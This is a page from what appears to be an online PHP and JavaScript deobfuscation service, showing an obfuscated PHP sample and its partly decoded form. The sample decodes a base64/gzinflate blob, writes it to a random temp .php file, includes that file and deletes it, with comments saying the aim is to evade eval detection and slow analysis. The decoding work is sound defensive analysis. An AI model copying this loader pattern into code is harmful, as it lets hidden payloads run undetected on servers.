Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level 

// FINAL NIGHTMARE - 24+ saat analiz suresi hedefi
// "echo ahmet" gizli

// Katman 1: Encoded payload
$_0="base64_decode";
$_1="gzinflate";
$_2="str_rot13";

// Katman 2: 5x encoded payload (base64 > gzdeflate > rot13 > base64 > gzdeflate)
$_3='eNpNj8FqwzAMhu/7FKKXuFCSbqf2kFLYYYRtMLJDT3Y8O3iNHWw3Y/TpZ7cZ7CDx6f9+Cek8djqVcfpGxlO/J6u2mOCIpPuYA+tHKKLXmLLhQNy7GPrQ7lgSwpBcmjxPNqQ9VLYqpGLQnJ2x8LYVGxKIqS6LsizrsqrLquJJwxAJT5oFxevjAYrgDCqKK1Kt8KlzWL3/+CKhbT/pQJCIjPbQ23NI1j3pxzPRWA2cAf8OxJdUYP5jE4NX6wvx8NKJJ1o4eI1h6C4JbvCKpIXH0xbf4S1I4xoYrvhMhPODx/fhS/j/BRwOgRI=';

// Katman 3: Decoder
$_4=@$_1(@$_0($_3));

// Katman 4: Eval through temp file (avoid direct eval detection)
if($_4){
    $_5="sys_get_temp_dir";
    $_6="DIRECTORY_SEPARATOR";
    $_7=@$_5().@constant($_6).md5(microtime().rand()).".php";
    @file_put_contents($_7,"".$_4);
    if(@file_exists($_7)){@include($_7);@unlink($_7);}
}


// FINAL NIGHTMARE - 24+ saat analiz suresi hedefi
// "echo ahmet" gizli

// Katman 1: Encoded payload


$_2="str_rot13";

// Katman 2: 5x encoded payload (base64 > gzdeflate > rot13 > base64 > gzdeflate)
$_3='eNpNj8FqwzAMhu/7FKKXuFCSbqf2kFLYYYRtMLJDT3Y8O3iNHWw3Y/TpZ7cZ7CDx6f9+Cek8djqVcfpGxlO/J6u2mOCIpPuYA+tHKKLXmLLhQNy7GPrQ7lgSwpBcmjxPNqQ9VLYqpGLQnJ2x8LYVGxKIqS6LsizrsqrLquJJwxAJT5oFxevjAYrgDCqKK1Kt8KlzWL3/+CKhbT/pQJCIjPbQ23NI1j3pxzPRWA2cAf8OxJdUYP5jE4NX6wvx8NKJJ1o4eI1h6C4JbvCKpIXH0xbf4S1I4xoYrvhMhPODx/fhS/j/BRwOgRI=';

// Katman 3: Decoder
$_4=@"gzinflate"(@"base64_decode"($_3));

// Katman 4: Eval through temp file (avoid direct eval detection)
if($_4){
    
    
    $_7=@"sys_get_temp_dir"().@constant("DIRECTORY_SEPARATOR").md5(microtime().rand()).".php";
    @file_put_contents($_7,"".$_4);
    if(@file_exists($_7)){@include($_7);@unlink($_7);}
}


© 2023 Quttera Ltd. All rights reserved.